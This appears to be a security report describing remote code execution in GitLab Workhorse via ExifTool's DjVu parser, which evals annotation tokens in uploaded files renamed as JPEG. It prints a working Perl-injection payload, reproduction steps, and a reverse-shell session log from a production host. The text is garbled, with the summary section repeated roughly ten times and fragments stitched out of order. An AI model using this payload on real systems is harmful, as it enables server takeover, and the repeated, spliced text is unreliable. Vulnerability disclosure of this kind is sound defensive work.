`web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

than using `eval`\n* Only the TIFF and JPEG modules should be used\n* GitLab Workhorse could check if the file is a valid TIFF of JPEG before passing it to ExifTool\n\n### Output of checks\nThis bug happens on GitLab.com\n\n#### Results of GitLab environment info\n```\nSystem information\nSystem:\nProxy:\t\tno\nCurrent User:\tgit\nUsing RVM:\tno\nRuby Version:\t2.7.2p137\nGem

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

The current bug is in the DjVu module of `ExifTool` which should ideally not ever be hit.\n\n### What is the expected *correct* behavior?\n* There must be better ways of convert C escape sequences

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

The current bug is in the DjVu module of `ExifTool` which should ideally not ever be hit.\n\n### What is the expected *correct* behavior?\n* There must be better ways of convert C escape sequences than using `eval`\n* Only the TIFF and JPEG modules should be used\n* GitLab Workhorse could check if the file is a valid TIFF of JPEG before passing it to ExifTool\n\n### Output of checks\nThis bug

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?
